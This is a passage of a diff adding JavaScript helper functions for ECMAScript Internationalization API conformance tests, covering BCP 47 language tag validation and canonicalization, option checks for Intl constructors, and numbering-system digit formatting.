+ * of Intl.Collator, Intl.NumberFormat, Intl.DateTimeFormat.
+ * @param {object} Constructor the constructor for which to get locale support info
+ * @return {object} locale support info with the following properties:
+ * supported: array of fully supported language tags
+ * byFallback: array of language tags that are supported through fallbacks
+ * unsupported: array of unsupported language tags
+ */
+function getLocaleSupportInfo(Constructor) {
+ var constructorName = getConstructorName(Constructor);
+ if (localeSupportInfo[constructorName] !== undefined) {
+ return localeSupportInfo[constructorName];
+ }
+
+ var allTags = [];
+ var i, j, k;
+ var language, script, country;
+ for (i = 0; i < languages.length; i++) {
+ language = languages[i];
+ allTags.push(language);
+ for (j = 0; j < scripts.length; j++) {
+ script = scripts[j];
+ allTags.push(language + "-" + script);
+ for (k = 0; k < countries.length; k++) {
+ country = countries[k];
+ allTags.push(language + "-" + script + "-" + country);
+ }
+ }
+ for (k = 0; k < countries.length; k++) {
+ country = countries[k];
+ allTags.push(language + "-" + country);
+ }
+ }
+
+ var supported = [];
+ var byFallback = [];
+ var unsupported = [];
+ for (i = 0; i < allTags.length; i++) {
+ var request = allTags[i];
+ var result = new Constructor([request], {localeMatcher: "lookup"}).resolvedOptions().locale;
+ if (request === result) {
+ supported.push(request);
+ } else if (request.indexOf(result) === 0) {
+ byFallback.push(request);
+ } else {
+ unsupported.push(request);
+ }
+ }
+
+ localeSupportInfo[constructorName] = {
+ supported: supported,
+ byFallback: byFallback,
+ unsupported: unsupported
+ };
+
+ return localeSupportInfo[constructorName];
+}
+
+
+/**
+ * @description Tests whether locale is a String value representing a
+ * structurally valid and canonicalized BCP 47 language tag, as defined in
+ * sections 6.2.2 and 6.2.3 of the ECMAScript Internationalization API
+ * Specification.
+ * @param {String} locale the string to be tested.
+ * @result {Boolean} whether the test succeeded.
+ */
+function isCanonicalizedStructurallyValidLanguageTag(locale) {
+
+ /**
+ * Regular expression defining BCP 47 language tags.
+ *
+ * Spec: RFC 5646 section 2.1.
+ */
+ var alpha = "[a-zA-Z]",
+ digit = "[0-9]",
+ alphanum = "(" + alpha + "|" + digit + ")",
+ regular = "(art-lojban|cel-gaulish|no-bok|no-nyn|zh-guoyu|zh-hakka|zh-min|zh-min-nan|zh-xiang)",
+ irregular = "(en-GB-oed|i-ami|i-bnn|i-default|i-enochian|i-hak|i-klingon|i-lux|i-mingo|i-navajo|i-pwn|i-tao|i-tay|i-tsu|sgn-BE-FR|sgn-BE-NL|sgn-CH-DE)",
+ grandfathered = "(" + irregular + "|" + regular + ")",
+ privateuse = "(x(-[a-z0-9]{1,8})+)",
+ singleton = "(" + digit + "|[A-WY-Za-wy-z])",
+ extension = "(" + singleton + "(-" + alphanum + "{2,8})+)",
+ variant = "(" + alphanum + "{5,8}|(" + digit + alphanum + "{3}))",
+ region = "(" + alpha + "{2}|" + digit + "{3})",
+ script = "(" + alpha + "{4})",
+ extlang = "(" + alpha + "{3}(-" + alpha + "{3}){0,2})",
+ language = "(" + alpha + "{2,3}(-" + extlang + ")?|" + alpha + "{4}|" + alpha + "{5,8})",
+ langtag = language + "(-" + script + ")?(-" + region + ")?(-" + variant + ")*(-" + extension + ")*(-" + privateuse + ")?",
+ languageTag = "^(" + langtag + "|" + privateuse + "|" + grandfathered + ")$",
+ languageTagRE = new RegExp(languageTag, "i");
+ var duplicateSingleton = "-" + singleton + "-(.*-)?\\1(?!" + alphanum + ")",
+ duplicateSingletonRE = new RegExp(duplicateSingleton, "i"),
+ duplicateVariant = "(" + alphanum + "{2,8}-)+" + variant + "-(" + alphanum + "{2,8}-)*\\3(?!" + alphanum + ")",
+ duplicateVariantRE = new RegExp(duplicateVariant, "i");
+
+
+ /**
+ * Verifies that the given string is a well-formed BCP 47 language tag
+ * with no duplicate variant or singleton subtags.
+ *
+ * Spec: ECMAScript Internationalization API Specification, draft, 6.2.2.
+ */
+ function isStructurallyValidLanguageTag(locale) {
+ if (!languageTagRE.test(locale)) {
+ return false;
+ }
+ locale = locale.split(/-x-/)[0];
+ return !duplicateSingletonRE.test(locale) && !duplicateVariantRE.test(locale);
+ }
+
+
+ /**
+ * Mappings from complete tags to preferred values.
+ *
+ * Spec: IANA Language Subtag Registry.
+ */
+ var __tagMappings = {
+ // property names must be in lower case; values in canonical form
+
+ // grandfathered tags from IANA language subtag registry, file date 2011-08-25
+ "art-lojban": "jbo",
+ "cel-gaulish": "cel-gaulish",
+ "en-gb-oed": "en-GB-oed",
+ "i-ami": "ami",
+ "i-bnn": "bnn",
+ "i-default": "i-default",
+ "i-enochian": "i-enochian",
+ "i-hak": "hak",
+ "i-klingon": "tlh",
+ "i-lux": "lb",
+ "i-mingo": "i-mingo",
+ "i-navajo": "nv",
+ "i-pwn": "pwn",
+ "i-tao": "tao",
+ "i-tay": "tay",
+ "i-tsu": "tsu",
+ "no-bok": "nb",
+ "no-nyn": "nn",
+ "sgn-be-fr": "sfb",
+ "sgn-be-nl": "vgt",
+ "sgn-ch-de": "sgg",
+ "zh-guoyu": "cmn",
+ "zh-hakka": "hak",
+ "zh-min": "zh-min",
+ "zh-min-nan": "nan",
+ "zh-xiang": "hsn",
+ // deprecated redundant tags from IANA language subtag registry, file date 2011-08-25
+ "sgn-br": "bzs",
+ "sgn-co": "csn",
+ "sgn-de": "gsg",
+ "sgn-dk": "dsl",
+ "sgn-es": "ssp",
+ "sgn-fr": "fsl",
+ "sgn-gb": "bfi",
+ "sgn-gr": "gss",
+ "sgn-ie": "isg",
+ "sgn-it": "ise",
+ "sgn-jp": "jsl",
+ "sgn-mx": "mfs",
+ "sgn-ni": "ncs",
+ "sgn-nl": "dse",
+ "sgn-no": "nsl",
+ "sgn-pt": "psr",
+ "sgn-se": "swl",
+ "sgn-us": "ase",
+ "sgn-za": "sfs",
+ "zh-cmn": "cmn",
+ "zh-cmn-hans": "cmn-Hans",
+ "zh-cmn-hant": "cmn-Hant",
+ "zh-gan": "gan",
+ "zh-wuu": "wuu",
+ "zh-yue": "yue",
+ // deprecated variant with prefix from IANA language subtag registry, file date 2011-08-25
+ "ja-latn-hepburn-heploc": "ja-Latn-alalc97"
+ };
+
+
+ /**
+ * Mappings from non-extlang subtags to preferred values.
+ *
+ * Spec: IANA Language Subtag Registry.
+ */
+ var __subtagMappings = {
+ // property names and values must be in canonical case
+ // language subtags with Preferred-Value mappings from IANA language subtag registry, file date 2011-08-25
+ "in": "id",
+ "iw": "he",
+ "ji": "yi",
+ "jw": "jv",
+ "mo": "ro",
+ "ayx": "nun",
+ "cjr": "mom",
+ "cmk": "xch",
+ "drh": "khk",
+ "drw": "prs",
+ "gav": "dev",
+ "mst": "mry",
+ "myt": "mry",
+ "tie": "ras",
+ "tkk": "twm",
+ "tnf": "prs",
+ // region subtags with Preferred-Value mappings from IANA language subtag registry, file date 2011-08-25
+ "BU": "MM",
+ "DD": "DE",
+ "FX": "FR",
+ "TP": "TL",
+ "YD": "YE",
+ "ZR": "CD"
+ };
+
+
+ /**
+ * Mappings from extlang subtags to preferred values.
+ *
+ * Spec: IANA Language Subtag Registry.
+ */
+ var __extlangMappings = {
+ // extlang subtags with Preferred-Value mappings from IANA language subtag registry, file date 2011-08-25
+ // values are arrays with [0] the replacement value, [1] (if present) the prefix to be removed
+ "aao": ["aao", "ar"],
+ "abh": ["abh", "ar"],
+ "abv": ["abv", "ar"],
+ "acm": ["acm", "ar"],
+ "acq": ["acq", "ar"],
+ "acw": ["acw", "ar"],
+ "acx": ["acx", "ar"],
+ "acy": ["acy", "ar"],
+ "adf": ["adf", "ar"],
+ "ads": ["ads", "sgn"],
+ "aeb": ["aeb", "ar"],
+ "aec": ["aec", "ar"],
+ "aed": ["aed", "sgn"],
+ "aen": ["aen", "sgn"],
+ "afb": ["afb", "ar"],
+ "afg": ["afg", "sgn"],
+ "ajp": ["ajp", "ar"],
+ "apc": ["apc", "ar"],
+ "apd": ["apd", "ar"],
+ "arb": ["arb", "ar"],
+ "arq": ["arq", "ar"],
+ "ars": ["ars", "ar"],
+ "ary": ["ary", "ar"],
+ "arz": ["arz", "ar"],
+ "ase": ["ase", "sgn"],
+ "asf": ["asf", "sgn"],
+ "asp": ["asp", "sgn"],
+ "asq": ["asq", "sgn"],
+ "asw": ["asw", "sgn"],
+ "auz": ["auz", "ar"],
+ "avl": ["avl", "ar"],
+ "ayh": ["ayh", "ar"],
+ "ayl": ["ayl", "ar"],
+ "ayn": ["ayn", "ar"],
+ "ayp": ["ayp", "ar"],
+ "bbz": ["bbz", "ar"],
+ "bfi": ["bfi", "sgn"],
+ "bfk": ["bfk", "sgn"],
+ "bjn": ["bjn", "ms"],
+ "bog": ["bog", "sgn"],
+ "bqn": ["bqn", "sgn"],
+ "bqy": ["bqy", "sgn"],
+ "btj": ["btj", "ms"],
+ "bve": ["bve", "ms"],
+ "bvl": ["bvl", "sgn"],
+ "bvu": ["bvu", "ms"],
+ "bzs": ["bzs", "sgn"],
+ "cdo": ["cdo", "zh"],
+ "cds": ["cds", "sgn"],
+ "cjy": ["cjy", "zh"],
+ "cmn": ["cmn", "zh"],
+ "coa": ["coa", "ms"],
+ "cpx": ["cpx", "zh"],
+ "csc": ["csc", "sgn"],
+ "csd": ["csd", "sgn"],
+ "cse": ["cse", "sgn"],
+ "csf": ["csf", "sgn"],
+ "csg": ["csg", "sgn"],
+ "csl": ["csl", "sgn"],
+ "csn": ["csn", "sgn"],
+ "csq": ["csq", "sgn"],
+ "csr": ["csr", "sgn"],
+ "czh": ["czh", "zh"],
+ "czo": ["czo", "zh"],
+ "doq": ["doq", "sgn"],
+ "dse": ["dse", "sgn"],
+ "dsl": ["dsl", "sgn"],
+ "dup": ["dup", "ms"],
+ "ecs": ["ecs", "sgn"],
+ "esl": ["esl", "sgn"],
+ "esn": ["esn", "sgn"],
+ "eso": ["eso", "sgn"],
+ "eth": ["eth", "sgn"],
+ "fcs": ["fcs", "sgn"],
+ "fse": ["fse", "sgn"],
+ "fsl": ["fsl", "sgn"],
+ "fss": ["fss", "sgn"],
+ "gan": ["gan", "zh"],
+ "gom": ["gom", "kok"],
+ "gse": ["gse", "sgn"],
+ "gsg": ["gsg", "sgn"],
+ "gsm": ["gsm", "sgn"],
+ "gss": ["gss", "sgn"],
+ "gus": ["gus", "sgn"],
+ "hab": ["hab", "sgn"],
+ "haf": ["haf", "sgn"],
+ "hak": ["hak", "zh"],
+ "hds": ["hds", "sgn"],
+ "hji": ["hji", "ms"],
+ "hks": ["hks", "sgn"],
+ "hos": ["hos", "sgn"],
+ "hps": ["hps", "sgn"],
+ "hsh": ["hsh", "sgn"],
+ "hsl": ["hsl", "sgn"],
+ "hsn": ["hsn", "zh"],
+ "icl": ["icl", "sgn"],
+ "ils": ["ils", "sgn"],
+ "inl": ["inl", "sgn"],
+ "ins": ["ins", "sgn"],
+ "ise": ["ise", "sgn"],
+ "isg": ["isg", "sgn"],
+ "isr": ["isr", "sgn"],
+ "jak": ["jak", "ms"],
+ "jax": ["jax", "ms"],
+ "jcs": ["jcs", "sgn"],
+ "jhs": ["jhs", "sgn"],
+ "jls": ["jls", "sgn"],
+ "jos": ["jos", "sgn"],
+ "jsl": ["jsl", "sgn"],
+ "jus": ["jus", "sgn"],
+ "kgi": ["kgi", "sgn"],
+ "knn": ["knn", "kok"],
+ "kvb": ["kvb", "ms"],
+ "kvk": ["kvk", "sgn"],
+ "kvr": ["kvr", "ms"],
+ "kxd": ["kxd", "ms"],
+ "lbs": ["lbs", "sgn"],
+ "lce": ["lce", "ms"],
+ "lcf": ["lcf", "ms"],
+ "liw": ["liw", "ms"],
+ "lls": ["lls", "sgn"],
+ "lsg": ["lsg", "sgn"],
+ "lsl": ["lsl", "sgn"],
+ "lso": ["lso", "sgn"],
+ "lsp": ["lsp", "sgn"],
+ "lst": ["lst", "sgn"],
+ "lsy": ["lsy", "sgn"],
+ "ltg": ["ltg", "lv"],
+ "lvs": ["lvs", "lv"],
+ "lzh": ["lzh", "zh"],
+ "max": ["max", "ms"],
+ "mdl": ["mdl", "sgn"],
+ "meo": ["meo", "ms"],
+ "mfa": ["mfa", "ms"],
+ "mfb": ["mfb", "ms"],
+ "mfs": ["mfs", "sgn"],
+ "min": ["min", "ms"],
+ "mnp": ["mnp", "zh"],
+ "mqg": ["mqg", "ms"],
+ "mre": ["mre", "sgn"],
+ "msd": ["msd", "sgn"],
+ "msi": ["msi", "ms"],
+ "msr": ["msr", "sgn"],
+ "mui": ["mui", "ms"],
+ "mzc": ["mzc", "sgn"],
+ "mzg": ["mzg", "sgn"],
+ "mzy": ["mzy", "sgn"],
+ "nan": ["nan", "zh"],
+ "nbs": ["nbs", "sgn"],
+ "ncs": ["ncs", "sgn"],
+ "nsi": ["nsi", "sgn"],
+ "nsl": ["nsl", "sgn"],
+ "nsp": ["nsp", "sgn"],
+ "nsr": ["nsr", "sgn"],
+ "nzs": ["nzs", "sgn"],
+ "okl": ["okl", "sgn"],
+ "orn": ["orn", "ms"],
+ "ors": ["ors", "ms"],
+ "pel": ["pel", "ms"],
+ "pga": ["pga", "ar"],
+ "pks": ["pks", "sgn"],
+ "prl": ["prl", "sgn"],
+ "prz": ["prz", "sgn"],
+ "psc": ["psc", "sgn"],
+ "psd": ["psd", "sgn"],
+ "pse": ["pse", "ms"],
+ "psg": ["psg", "sgn"],
+ "psl": ["psl", "sgn"],
+ "pso": ["pso", "sgn"],
+ "psp": ["psp", "sgn"],
+ "psr": ["psr", "sgn"],
+ "pys": ["pys", "sgn"],
+ "rms": ["rms", "sgn"],
+ "rsi": ["rsi", "sgn"],
+ "rsl": ["rsl", "sgn"],
+ "sdl": ["sdl", "sgn"],
+ "sfb": ["sfb", "sgn"],
+ "sfs": ["sfs", "sgn"],
+ "sgg": ["sgg", "sgn"],
+ "sgx": ["sgx", "sgn"],
+ "shu": ["shu", "ar"],
+ "slf": ["slf", "sgn"],
+ "sls": ["sls", "sgn"],
+ "sqs": ["sqs", "sgn"],
+ "ssh": ["ssh", "ar"],
+ "ssp": ["ssp", "sgn"],
+ "ssr": ["ssr", "sgn"],
+ "svk": ["svk", "sgn"],
+ "swc": ["swc", "sw"],
+ "swh": ["swh", "sw"],
+ "swl": ["swl", "sgn"],
+ "syy": ["syy", "sgn"],
+ "tmw": ["tmw", "ms"],
+ "tse": ["tse", "sgn"],
+ "tsm": ["tsm", "sgn"],
+ "tsq": ["tsq", "sgn"],
+ "tss": ["tss", "sgn"],
+ "tsy": ["tsy", "sgn"],
+ "tza": ["tza", "sgn"],
+ "ugn": ["ugn", "sgn"],
+ "ugy": ["ugy", "sgn"],
+ "ukl": ["ukl", "sgn"],
+ "uks": ["uks", "sgn"],
+ "urk": ["urk", "ms"],
+ "uzn": ["uzn", "uz"],
+ "uzs": ["uzs", "uz"],
+ "vgt": ["vgt", "sgn"],
+ "vkk": ["vkk", "ms"],
+ "vkt": ["vkt", "ms"],
+ "vsi": ["vsi", "sgn"],
+ "vsl": ["vsl", "sgn"],
+ "vsv": ["vsv", "sgn"],
+ "wuu": ["wuu", "zh"],
+ "xki": ["xki", "sgn"],
+ "xml": ["xml", "sgn"],
+ "xmm": ["xmm", "ms"],
+ "xms": ["xms", "sgn"],
+ "yds": ["yds", "sgn"],
+ "ysl": ["ysl", "sgn"],
+ "yue": ["yue", "zh"],
+ "zib": ["zib", "sgn"],
+ "zlm": ["zlm", "ms"],
+ "zmi": ["zmi", "ms"],
+ "zsl": ["zsl", "sgn"],
+ "zsm": ["zsm", "ms"]
+ };
+
+
+ /**
+ * Canonicalizes the given well-formed BCP 47 language tag, including regularized case of subtags.
+ *
+ * Spec: ECMAScript Internationalization API Specification, draft, 6.2.3.
+ * Spec: RFC 5646, section 4.5.
+ */
+ function canonicalizeLanguageTag(locale) {
+
+ // start with lower case for easier processing, and because most subtags will need to be lower case anyway
+ locale = locale.toLowerCase();
+
+ // handle mappings for complete tags
+ if (__tagMappings.hasOwnProperty(locale)) {
+ return __tagMappings[locale];
+ }
+
+ var subtags = locale.split("-");
+ var i = 0;
+
+ // handle standard part: all subtags before first singleton or "x"
+ while (i < subtags.length) {
+ var subtag = subtags[i];
+ if (subtag.length === 1 && (i > 0 || subtag === "x")) {
+ break;
+ } else if (i !== 0 && subtag.length === 2) {
+ subtag = subtag.toUpperCase();
+ } else if (subtag.length === 4) {
+ subtag = subtag[0].toUpperCase() + subtag.substring(1).toLowerCase();
+ }
+ if (__subtagMappings.hasOwnProperty(subtag)) {
+ subtag = __subtagMappings[subtag];
+ } else if (__extlangMappings.hasOwnProperty(subtag)) {
+ subtag = __extlangMappings[subtag][0];
+ if (i === 1 && __extlangMappings[subtag][1] === subtags[0]) {
+ subtags.shift();
+ i--;
+ }
+ }
+ subtags[i] = subtag;
+ i++;
+ }
+ var normal = subtags.slice(0, i).join("-");
+
+ // handle extensions
+ var extensions = [];
+ while (i < subtags.length && subtags[i] !== "x") {
+ var extensionStart = i;
+ i++;
+ while (i < subtags.length && subtags[i].length > 1) {
+ i++;
+ }
+ var extension = subtags.slice(extensionStart, i).join("-");
+ extensions.push(extension);
+ }
+ extensions.sort();
+
+ // handle private use
+ var privateUse;
+ if (i < subtags.length) {
+ privateUse = subtags.slice(i).join("-");
+ }
+
+ // put everything back together
+ var canonical = normal;
+ if (extensions.length > 0) {
+ canonical += "-" + extensions.join("-");
+ }
+ if (privateUse !== undefined) {
+ if (canonical.length > 0) {
+ canonical += "-" + privateUse;
+ } else {
+ canonical = privateUse;
+ }
+ }
+
+ return canonical;
+ }
+
+ return typeof locale === "string" && isStructurallyValidLanguageTag(locale) &&
+ canonicalizeLanguageTag(locale) === locale;
+}
+
+
+/**
+ * Tests whether the named options property is correctly handled by the given constructor.
+ * @param {object} Constructor the constructor to test.
+ * @param {string} property the name of the options property to test.
+ * @param {string} type the type that values of the property are expected to have
+ * @param {Array} [values] an array of allowed values for the property. Not needed for boolean.
+ * @param {any} fallback the fallback value that the property assumes if not provided.
+ * @param {object} testOptions additional options:
+ * @param {boolean} isOptional whether support for this property is optional for implementations.
+ * @param {boolean} noReturn whether the resulting value of the property is not returned.
+ * @param {boolean} isILD whether the resulting value of the property is implementation and locale dependent.
+ * @param {object} extra additional option to pass along, properties are value -> {option: value}.
+ * @return {boolean} whether the test succeeded.
+ */
+function testOption(Constructor, property, type, values, fallback, testOptions) {
+ var isOptional = testOptions !== undefined && testOptions.isOptional === true;
+ var noReturn = testOptions !== undefined && testOptions.noReturn === true;
+ var isILD = testOptions !== undefined && testOptions.isILD === true;
+
+ function addExtraOptions(options, value, testOptions) {
+ if (testOptions !== undefined && testOptions.extra !== undefined) {
+ var extra;
+ if (value !== undefined && testOptions.extra[value] !== undefined) {
+ extra = testOptions.extra[value];
+ } else if (testOptions.extra.any !== undefined) {
+ extra = testOptions.extra.any;
+ }
+ if (extra !== undefined) {
+ Object.getOwnPropertyNames(extra).forEach(function (prop) {
+ options[prop] = extra[prop];
+ });
+ }
+ }
+ }
+
+ var testValues, options, obj, expected, actual, error;
+
+ // test that the specified values are accepted. Also add values that convert to specified values.
+ if (type === "boolean") {
+ if (values === undefined) {
+ values = [true, false];
+ }
+ testValues = values.slice(0);
+ testValues.push(888);
+ testValues.push(0);
+ } else if (type === "string") {
+ testValues = values.slice(0);
+ testValues.push({toString: function () { return values[0]; }});
+ }
+ testValues.forEach(function (value) {
+ options = {};
+ options[property] = value;
+ addExtraOptions(options, value, testOptions);
+ obj = new Constructor(undefined, options);
+ if (noReturn) {
+ if (obj.resolvedOptions().hasOwnProperty(property)) {
+ $ERROR("Option property " + property + " is returned, but shouldn't be.");
+ }
+ } else {
+ actual = obj.resolvedOptions()[property];
+ if (isILD) {
+ if (actual !== undefined && values.indexOf(actual) === -1) {
+ $ERROR("Invalid value " + actual + " returned for property " + property + ".");
+ }
+ } else {
+ if (type === "boolean") {
+ expected = Boolean(value);
+ } else if (type === "string") {
+ expected = String(value);
+ }
+ if (actual !== expected && !(isOptional && actual === undefined)) {
+ $ERROR("Option value " + value + " for property " + property +
+ " was not accepted; got " + actual + " instead.");
+ }
+ }
+ }
+ });
+
+ // test that invalid values are rejected
+ if (type === "string") {
+ var invalidValues = ["invalidValue", -1, null];
+ // assume that we won't have values in caseless scripts
+ if (values[0].toUpperCase() !== values[0]) {
+ invalidValues.push(values[0].toUpperCase());
+ } else {
+ invalidValues.push(values[0].toLowerCase());
+ }
+ invalidValues.forEach(function (value) {
+ options = {};
+ options[property] = value;
+ addExtraOptions(options, value, testOptions);
+ error = undefined;
+ try {
+ obj = new Constructor(undefined, options);
+ } catch (e) {
+ error = e;
+ }
+ if (error === undefined) {
+ $ERROR("Invalid option value " + value + " for property " + property + " was not rejected.");
+ } else if (error.name !== "RangeError") {
+ $ERROR("Invalid option value " + value + " for property " + property + " was rejected with wrong error " + error.name + ".");
+ }
+ });
+ }
+
+ // test that fallback value or another valid value is used if no options value is provided
+ if (!noReturn) {
+ options = {};
+ addExtraOptions(options, undefined, testOptions);
+ obj = new Constructor(undefined, options);
+ actual = obj.resolvedOptions()[property];
+ if (!(isOptional && actual === undefined)) {
+ if (fallback !== undefined) {
+ if (actual !== fallback) {
+ $ERROR("Option fallback value " + fallback + " for property " + property +
+ " was not used; got " + actual + " instead.");
+ }
+ } else {
+ if (values.indexOf(actual) === -1 && !(isILD && actual === undefined)) {
+ $ERROR("Invalid value " + actual + " returned for property " + property + ".");
+ }
+ }
+ }
+ }
+
+ return true;
+}
+
+
+/**
+ * Tests whether the named property of the given object has a valid value
+ * and the default attributes of the properties of an object literal.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @param {Function|Array} valid either a function that tests value for validity and returns a boolean,
+ * an array of valid values.
+ * @exception if the property has an invalid value.
+ */
+function testProperty(obj, property, valid) {
+ var desc = Object.getOwnPropertyDescriptor(obj, property);
+ if (!desc.writable) {
+ $ERROR("Property " + property + " must be writable.");
+ }
+ if (!desc.enumerable) {
+ $ERROR("Property " + property + " must be enumerable.");
+ }
+ if (!desc.configurable) {
+ $ERROR("Property " + property + " must be configurable.");
+ }
+ var value = desc.value;
+ var isValid = (typeof valid === "function") ? valid(value) : (valid.indexOf(value) !== -1);
+ if (!isValid) {
+ $ERROR("Property value " + value + " is not allowed for property " + property + ".");
+ }
+}
+
+
+/**
+ * Tests whether the named property of the given object, if present at all, has a valid value
+ * and the default attributes of the properties of an object literal.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @param {Function|Array} valid either a function that tests value for validity and returns a boolean,
+ * an array of valid values.
+ * @exception if the property is present and has an invalid value.
+ */
+function mayHaveProperty(obj, property, valid) {
+ if (obj.hasOwnProperty(property)) {
+ testProperty(obj, property, valid);
+ }
+}
+
+
+/**
+ * Tests whether the given object has the named property with a valid value
+ * and the default attributes of the properties of an object literal.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @param {Function|Array} valid either a function that tests value for validity and returns a boolean,
+ * an array of valid values.
+ * @exception if the property is missing or has an invalid value.
+ */
+function mustHaveProperty(obj, property, valid) {
+ if (!obj.hasOwnProperty(property)) {
+ $ERROR("Object is missing property " + property + ".");
+ }
+ testProperty(obj, property, valid);
+}
+
+
+/**
+ * Tests whether the given object does not have the named property.
+ * @param {Object} obj the object to be tested.
+ * @param {string} property the name of the property
+ * @exception if the property is present.
+ */
+function mustNotHaveProperty(obj, property) {
+ if (obj.hasOwnProperty(property)) {
+ $ERROR("Object has property it mustn't have: " + property + ".");
+ }
+}
+
+
+/**
+ * Properties of the RegExp constructor that may be affected by use of regular
+ * expressions, and the default values of these properties. Properties are from
+ * https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Deprecated_and_obsolete_features#RegExp_Properties
+ */
+var regExpProperties = ["$1", "$2", "$3", "$4", "$5", "$6", "$7", "$8", "$9",
+ "$_", "$*", "$&", "$+", "$`", "$'",
+ "input", "lastMatch", "lastParen", "leftContext", "rightContext"
+];
+
+var regExpPropertiesDefaultValues = (function () {
+ var values = Object.create(null);
+ regExpProperties.forEach(function (property) {
+ values[property] = RegExp[property];
+ });
+ return values;
+}());
+
+
+/**
+ * Tests that executing the provided function (which may use regular expressions
+ * in its implementation) does not create or modify unwanted properties on the
+ * RegExp constructor.
+ */
+function testForUnwantedRegExpChanges(testFunc) {
+ regExpProperties.forEach(function (property) {
+ RegExp[property] = regExpPropertiesDefaultValues[property];
+ });
+ testFunc();
+ regExpProperties.forEach(function (property) {
+ if (RegExp[property] !== regExpPropertiesDefaultValues[property]) {
+ $ERROR("RegExp has unexpected property " + property + " with value " +
+ RegExp[property] + ".");
+ }
+ });
+}
+
+
+/**
+ * Tests whether name is a valid BCP 47 numbering system name
+ * and not excluded from use in the ECMAScript Internationalization API.
+ * @param {string} name the name to be tested.
+ * @return {boolean} whether name is a valid BCP 47 numbering system name and
+ * allowed for use in the ECMAScript Internationalization API.
+ */
+
+function isValidNumberingSystem(name) {
+
+ // source: CLDR file common/bcp47/number.xml; version CLDR 21.
+ var numberingSystems = [
+ "arab",
+ "arabext",
+ "armn",
+ "armnlow",
+ "bali",
+ "beng",
+ "brah",
+ "cakm",
+ "cham",
+ "deva",
+ "ethi",
+ "finance",
+ "fullwide",
+ "geor",
+ "grek",
+ "greklow",
+ "gujr",
+ "guru",
+ "hanidec",
+ "hans",
+ "hansfin",
+ "hant",
+ "hantfin",
+ "hebr",
+ "java",
+ "jpan",
+ "jpanfin",
+ "kali",
+ "khmr",
+ "knda",
+ "osma",
+ "lana",
+ "lanatham",
+ "laoo",
+ "latn",
+ "lepc",
+ "limb",
+ "mlym",
+ "mong",
+ "mtei",
+ "mymr",
+ "mymrshan",
+ "native",
+ "nkoo",
+ "olck",
+ "orya",
+ "roman",
+ "romanlow",
+ "saur",
+ "shrd",
+ "sora",
+ "sund",
+ "talu",
+ "takr",
+ "taml",
+ "tamldec",
+ "telu",
+ "thai",
+ "tibt",
+ "traditio",
+ "vaii"
+ ];
+
+ var excluded = [
+ "finance",
+ "native",
+ "traditio"
+ ];
+
+
+ return numberingSystems.indexOf(name) !== -1 && excluded.indexOf(name) === -1;
+}
+
+
+/**
+ * Provides the digits of numbering systems with simple digit mappings,
+ * as specified in 11.3.2.
+ */
+
+var numberingSystemDigits = {
+ arab: "٠١٢٣٤٥٦٧٨٩",
+ arabext: "۰۱۲۳۴۵۶۷۸۹",
+ beng: "০১২৩৪৫৬৭৮৯",
+ deva: "०१२३४५६७८९",
+ fullwide: "0123456789",
+ gujr: "૦૧૨૩૪૫૬૭૮૯",
+ guru: "੦੧੨੩੪੫੬੭੮੯",
+ hanidec: "〇一二三四五六七八九",
+ khmr: "០១២៣៤៥៦៧៨៩",
+ knda: "೦೧೨೩೪೫೬೭೮೯",
+ laoo: "໐໑໒໓໔໕໖໗໘໙",
+ latn: "0123456789",
+ mlym: "൦൧൨൩൪൫൬൭൮൯",
+ mong: "᠐᠑᠒᠓᠔᠕᠖᠗᠘᠙",
+ mymr: "၀၁၂၃၄၅၆၇၈၉",
+ orya: "୦୧୨୩୪୫୬୭୮୯",
+ tamldec: "௦௧௨௩௪௫௬௭௮௯",
+ telu: "౦౧౨౩౪౫౬౭౮౯",
+ thai: "๐๑๒๓๔๕๖๗๘๙",
+ tibt: "༠༡༢༣༤༥༦༧༨༩"
+};
+
+
+/**
+ * Tests that number formatting is handled correctly. The function checks that the
+ * digit sequences in formatted output are as specified, converted to the
+ * selected numbering system, and embedded in consistent localized patterns.
+ * @param {Array} locales the locales to be tested.
+ * @param {Array} numberingSystems the numbering systems to be tested.
+ * @param {Object} options the options to pass to Intl.NumberFormat. Options
+ * must include {useGrouping: false}, and must cause 1.1 to be formatted
+ * pre- and post-decimal digits.
+ * @param {Object} testData maps input data (in ES5 9.3.1 format) to expected output strings
+ * in unlocalized format with Western digits.
+ */
+
+function testNumberFormat(locales, numberingSystems, options, testData) {
+ locales.forEach(function (locale) {
+ numberingSystems.forEach(function (numbering) {
+ var digits = numberingSystemDigits[numbering];
+ var format = new Intl.NumberFormat([locale + "-u-nu-" + numbering], options);
+
+ function getPatternParts(positive) {
+ var n = positive ? 1.1 : -1.1;
+ var formatted = format.format(n);
+ var oneoneRE = "([^" + digits + "]*)[" + digits + "]+([^" + digits + "]+)[" + digits + "]+([^" + digits + "]*)";
+ var match = formatted.match(new RegExp(oneoneRE));
+ if (match === null) {
+ $ERROR("Unexpected formatted " + n + " for " +
+ format.resolvedOptions().locale + " and options " +
+ JSON.stringify(options) + ": " + formatted);
+ }
+ return match;
+ }
+
+ function toNumbering(raw) {
+ return raw.replace(/[0-9]/g, function (digit) {
+ return digits[digit.charCodeAt(0) - "0".charCodeAt(0)];
+ });
+ }
+
+ function buildExpected(raw, patternParts) {
+ var period = raw.indexOf(".");
+ if (period === -1) {
+ return patternParts[1] + toNumbering(raw) + patternParts[3];
+ } else {
+ return patternParts[1] +
+ toNumbering(raw.substring(0, period)) +
+ patternParts[2] +
+ toNumbering(raw.substring(period + 1)) +
+ patternParts[3];
+ }
+ }
+
+ if (format.resolvedOptions().numberingSystem === numbering) {
+ // figure out prefixes, infixes, suffixes for positive and negative values
+ var posPatternParts = getPatternParts(true);
+ var negPatternParts = getPatternParts(false);
+
+ Object.getOwnPropertyNames(testData).forEach(function (input) {
+ var rawExpected = testData[input];
+ var patternParts;
+ if (rawExpected[0] === "-") {
+ patternParts = negPatternParts;
+ rawExpected = rawExpected.substring(1);
+ } else {
+ patternParts = posPatternParts;
+ }
+ var expected = buildExpected(rawExpected, patternParts);
+ var actual = format.format(input);
+ if (actual !== expected) {
+ $ERROR("Formatted value for " + input + ", " +
+ format.resolvedOptions().locale + " and options " +
+ JSON.stringify(options) + " is " + actual + "; expected " + expected + ".");
+ }
+ });
+ }
+ });
+ });
+}
+
+
+/**
+ * Return the components of date-time formats.
+ * @return {Array} an array with all date-time components.
+ */
+
